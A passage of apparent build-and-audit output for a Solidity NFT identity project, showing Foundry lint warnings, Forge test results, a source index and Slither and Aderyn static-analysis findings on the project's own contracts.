address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:180:16\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:183:9\n    │\n183 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:180:83\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:23\n    │\n182 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:200:44\n    │\n200 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:32\n    │\n202 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:206:22\n    │\n206 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:302:36\n    │\n302 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:318:15\n    │\n318 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:322:36\n    │\n322 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":26915,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 621.41µs (896.38µs CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55841, ~: 56425)\nLogs:\n  Bound result 3\n  Bound result 8\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 16.87ms (20.32ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8865984)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1019453)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 534546)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 611321)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 926784)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 602296)\n[PASS] test_RegisterWithImd() (gas: 955021)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 647107)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 650311)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089230)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 27.90ms (58.07ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 952499)\n[PASS] test_Card() (gas: 1623640)\n[PASS] test_CrewFoundingRules() (gas: 906118)\n[PASS] test_Disband() (gas: 1530601)\n[PASS] test_FoundACrewWithImd() (gas: 1176613)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 738746)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1675553)\n[PASS] test_PassTheCaptaincy() (gas: 937577)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 757495)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 33.60ms (19.86ms CPU time)\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 33.64ms (3.23ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23185)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17012486)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 232.05ms (29.16ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3549382)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 232.06ms (17.02ms CPU time)\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 974963)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1220167)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 232.00ms (4.68ms CPU time)\n\nRan 21 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 836084)\n[PASS] test_ASwapOutOfGasReverts() (gas: 3106383)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 814044)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 4734374)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 776403)\n[PASS] test_AtMostMaxBurnPerCall() (gas: 2218838)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513373)\n[PASS] test_BuysOnPool4First() (gas: 1060290)\n[PASS] test_MinImd() (gas: 949204)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 142291852)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 15650200)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297225)\n[PASS] test_NoReentry() (gas: 462147)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32779)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1342476)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1116548)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44003)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 838562)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11267)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28019)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1172278)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 232.15ms (295.83ms CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1145  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1170  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1170  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1185  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1182  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1191  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1149  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.81s (26.81s CPU time)\n\nRan 10 test suites in 26.82s (27.86s CPU time): 145 tests passed, 0 failed, 11 skipped (156 total tests)\n","passed":true},{"durationMs":64,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":68,\"AUDIT.md\":144,\"README.md\":179,\"foundry.toml\":30,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":271,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":331,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.t.sol\":345,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.t.sol\":340,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3907,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/LARPBurner.sol:151: LARPBurner.burn(uint256) (src/LARPBurner.sol#151-167) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/SwarmPrices.sol:316: SwarmPrices._decimal(uint256).digits (src/SwarmPrices.sol#316) is a local variable never initialized\n[medium/medium] uninitialized-local at src/LARP.sol:308: LARP._decimal(uint256).digits (src/LARP.sol#308) is a local variable never initialized\n[medium/medium] uninitialized-local at src/LARPBurner.sol:225: LARPBurner._burnImd().burned6900 (src/LARPBurner.sol#225) is a local variable never initialized\n[medium/medium] unused-return at src/IMDNames.sol:105: IMDNames.register(bytes32,address,uint256) (src/IMDNames.sol#105-110) ignores return value by LARPBurner(address(BURNER)).burn{value: price}(minImd) (src/IMDNames.sol#109)\n[medium/medium] unused-return at src/IMDNames.sol:120: IMDNames.link(uint256,uint256,uint256) (src/IMDNames.sol#120-124) ignores return value by LARPBurner(address(BURNER)).burn{value: toll}(minImd) (src/IMDNames.sol#123)\n[medium/medium] unused-return at src/LARPBurner.sol:186: LARPBurner.unlockCallback(bytes) (src/LARPBurner.sol#186-218) ignores return value by POOL_MANAGER.settle{value: amount}() (src/LARPBurner.sol#215)\n[medium/medium] unused-return at src/LARPLinks.sol:453: LARPLinks._own(uint256) (src/LARPLinks.sol#453-456) ignores return value by (ok,None) = LARP.canAct(imdId,msg.sender) (src/LARPLinks.sol#454)\n[medium/medium] unused-return at src/LARPLinks.sol:324: LARPLinks._captain(uint256) (src/LARPLinks.sol#324-329) ignores return value by (ok,None) = LARP.canAct(c.captain,msg.sender) (src/LARPLinks.sol#327)\n[medium/medium] unused-return at src/LARPBurner.sol:186: LARPBurner.unlockCallback(bytes) (src/LARPBurner.sol#186-218) ignores return value by POOL_MANAGER.settle() (src/LARPBurner.sol#202)\n[medium/medium] unused-return at src/LARPLinks.sol:201: LARPLinks.foundCrew(uint256,bytes32,bool,uint256) (src/LARPLinks.sol#201-209) ignores return value by LARPBurner(address(BURNER)).burn{value: msg.value}(minImd) (src/LARPLinks.sol#208)\n[medium/medium] unused-return at src/IMDNames.sol:178: IMDNames.unlink(uint256) (src/IMDNames.sol#178-186) ignores return value by (ok,None) = LARP.canAct(imdId,msg.sender) (src/IMDNames.sol#181)\n[medium/medium] unused-return at src/LARPLinks.sol:439: LARPLinks.cardOf(uint256) (src/LARPLinks.sol#439-450) ignores return value by (None,c.faceCollection,c.faceTokenId,c.faceLive) = LARP.faceOf(imdId) (src/LARPLinks.sol#443)\n[low/medium] missing-zero-check at src/IMDNames.sol:306: IMDNames.setRenderer(address).renderer_ (src/IMDNames.sol#306) lacks a zero-check on :\n[low/medium] missing-zero-check at src/LARPBurner.sol:103: LARPBurner.constructor(address,address,uint24,uint24,address,uint24,uint24,address,uint24,uint24,address).pairHook (src/LARPBurner.sol#103) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMDNames.sol:67: IMDNames.constructor(address,ILARP,address,address,address,address).artist_ (src/IMDNames.sol#67) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMDNames.sol:314: IMDNames.setArtist(address).artist_ (src/IMDNames.sol#314) lacks a zero-check on :\n[low/medium] missing-zero-check at src/LARPBurner.sol:97: LARPBurner.constructor(address,address,uint24,uint24,address,uint24,uint24,address,uint24,uint24,address).pool4Hook (src/LARPBurner.sol#97) lacks a zero-check on :\n[low/medium] calls-loop at src/LARPBurner.sol:242: LARPBurner._tryUnlock(uint8,uint256) (src/LARPBurner.sol#242-250) has external calls inside a loop: r = POOL_MANAGER.unlock(abi.encode(route,amount)) (src/LARPBurner.sol#244-249)\n[low/medium] reentrancy-benign at src/SwarmPrices.sol:144: Reentrancy in SwarmPrices.propose(SwarmPrices.Prices,uint256) (src/SwarmPrices.sol#144-168):\n[low/medium] reentrancy-events at src/LARPBurner.sol:151: Reentrancy in LARPBurner.burn(uint256) (src/LARPBurner.sol#151-167):\n[low/medium] reentrancy-events at src/LARPBurner.sol:151: Reentrancy in LARPBurner.burn(uint256) (src/LARPBurner.sol#151-167):\n[low/medium] reentrancy-events at src/SwarmPrices.sol:144: Reentrancy in SwarmPrices.propose(SwarmPrices.Prices,uint256) (src/SwarmPrices.sol#144-168):\n[low/medium] reentrancy-events at src/LARPBurner.sol:221: Reentrancy in LARPBurner._burnImd() (src/LARPBurner.sol#221-234):\n[low/medium] timestamp at src/LARP.sol:77: LARP.setAgentBySig(uint256,address,uint256,bytes) (src/LARP.sol#77-91) uses timestamp for comparisons\n[low/medium] timestamp at src/SwarmPrices.sol:173: SwarmPrices.onVerdict(bytes32,Attestation,bytes) (src/SwarmPrices.sol#173-184) uses timestamp for comparisons\n[low/medium] timestamp at src/SwarmPrices.sol:198: SwarmPrices.execute(bytes32) (src/SwarmPrices.sol#198-208) uses timestamp for comparisons","passed":true},{"durationMs":511,"exitCode":0,"name":"aderyn","output":"[high] contract-locks-ether at src/IMDNames.sol:21: Contract locks Ether without a withdraw function (3 places)\n[high] reentrancy-state-change at src/IMDNames.sol:181: Reentrancy: State change after external call (3 places)\n[low] ecrecover at src/LARP.sol:153: `ecrecover` Signature Malleability (2 places)\n[low] internal-function-used-once at src/Labels.sol:9: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/IMDNames.sol:34: Large Numeric Literal (5 places)\n[low] literal-instead-of-constant at src/IMDNames.sol:68: Literal Instead of Constant (52 places)\n[low] missing-inheritance at src/LARPBurner.sol:44: Missing Inheritance\n[low] push-zero-opcode at src/IIMDNames.sol:2: PUSH0 Opcode (9 places)\n[low] require-revert-in-loop at src/LARPBurner.sol:155: Loop Contains `require`/`revert`\n[low] state-no-address-check at src/IMDNames.sol:74: Address State Variable Set Without Checks (3 places)\n[low] unchecked-return at src/LARPBurner.sol:202: Unchecked Return\n[low] uninitialized-local-variable at src/LARPBurner.sol:155: Uninitialized Local Variable (5 places)\n[low] unspecific-solidity-pragma at src/IIMDNames.sol:2: Unspecific Solidity Pragma (7 places)\n[low] unused-public-function at 